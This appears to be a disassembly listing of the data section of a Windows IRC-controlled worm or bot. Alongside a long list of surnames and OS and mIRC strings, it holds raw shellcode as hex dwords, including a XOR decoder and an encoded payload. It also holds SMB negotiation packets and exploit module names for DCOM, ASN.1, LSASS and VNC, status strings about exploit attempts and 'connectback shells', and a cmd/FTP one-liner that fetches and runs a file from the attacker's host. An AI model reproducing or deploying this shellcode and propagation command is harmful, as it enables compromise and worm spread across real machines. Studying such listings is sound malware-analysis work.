aBontempo db 'Bontempo',0 ; DATA XREF: .data:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: .data:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: .data:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: .data:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .data:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: .data:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: .data:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: .data:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: .data:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: .data:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: .data:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: .data:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .data:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .data:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: .data:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: .data:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: .data:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: .data:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .data:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: .data:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: .data:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .data:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: .data:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .data:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .data:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .data:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: .data:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: .data:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: .data:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: .data:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: .data:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: .data:0042DAC8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: .data:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: .data:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .data:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: .data:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .data:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .data:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: .data:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .data:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .data:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: .data:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .data:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: .data:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: .data:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: .data:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: .data:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: .data:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: .data:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: .data:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: .data:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: .data:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .data:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: .data:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: .data:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: .data:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: .data:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: .data:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: .data:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: .data:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .data:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .data:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: .data:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: .data:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: .data:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: .data:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: .data:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: .data:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: .data:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .data:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: .text:0040ABE6o
; .text:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: .text:0040AC91o
aS_0 db '[%s]|',0 ; DATA XREF: .text:0040AD9Bo
align 4
a??? db '???',0 ; DATA XREF: .text:loc_40AD92o
; sub_41AF8F:loc_41B052o
a2k3 db '2K3',0 ; DATA XREF: .text:0040AD8Bo
aXp db 'XP',0 ; DATA XREF: .text:0040AD7Do
; .text:0040AF89o ...
align 10h
a2k db '2K',0 ; DATA XREF: .text:0040AD6Do
; .text:0040AF79o ...
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:0040AD54o
; .text:0040AF60o ...
align 4
a98 db '98',0 ; DATA XREF: .text:0040AD44o
; .text:0040AF50o ...
align 4
aNt_0 db 'NT',0 ; DATA XREF: .text:0040AD34o
; .text:0040AF41o ...
align 10h
a95 db '95',0 ; DATA XREF: .text:0040AD26o
; .text:0040AF33o ...
align 4
aDS db '[%d]%s',0 ; DATA XREF: sub_40ADE1+3Ao
align 4
aM db '[M]',0 ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS_0 db '%s|%s|%s|%s|',0 ; DATA XREF: .text:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: .text:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: .text:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .text:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: .text:0040B037o
dword_431660 dd 345053h ; DATA XREF: .text:0040B02Do
dword_431664 dd 34h ; DATA XREF: .text:0040B021o
dword_431668 dd 335053h ; DATA XREF: .text:0040B014o
dword_43166C dd 33h ; DATA XREF: .text:0040B003o
dword_431670 dd 325053h ; DATA XREF: .text:0040AFF6o
dword_431674 dd 32h ; DATA XREF: .text:0040AFE5o
dword_431678 dd 315053h ; DATA XREF: .text:0040AFD8o
dword_43167C dd 305053h ; DATA XREF: .text:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: .text:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: .text:0040AF97o
dword_431688 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+C4o
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
dword_4316A0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+A2o
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
dd 70746674h, 6578652Eh, 20692D20h
aGet db ' get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h
dword_43177C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B477+10o
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; .text:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; .text:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
aDcom135_0 db 'dcom135',0
align 4
dd 100h, 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C64 db 2Dh ; - ; DATA XREF: sub_40BB65+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431C98 db 2Dh ; - ; DATA XREF: sub_40BB65+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C600+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C600+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C600+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C600+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_431F7C db 2Dh ; - ; DATA XREF: sub_40C85F+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_431FA4 db 2Dh ; - ; DATA XREF: sub_40C92C+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_431FCC db 2Dh ; - ; DATA XREF: sub_40CA1D+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
unk_431FF8 db 2Dh ; - ; DATA XREF: sub_40CA1D+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040D61Fo
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_432300 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: .text:0040D5CDo
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_432390 dd 60h ; DATA XREF: sub_40CD9E+320o
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
dword_4323B4 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40CD9E+E8o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .text:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040E02Do
; .text:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
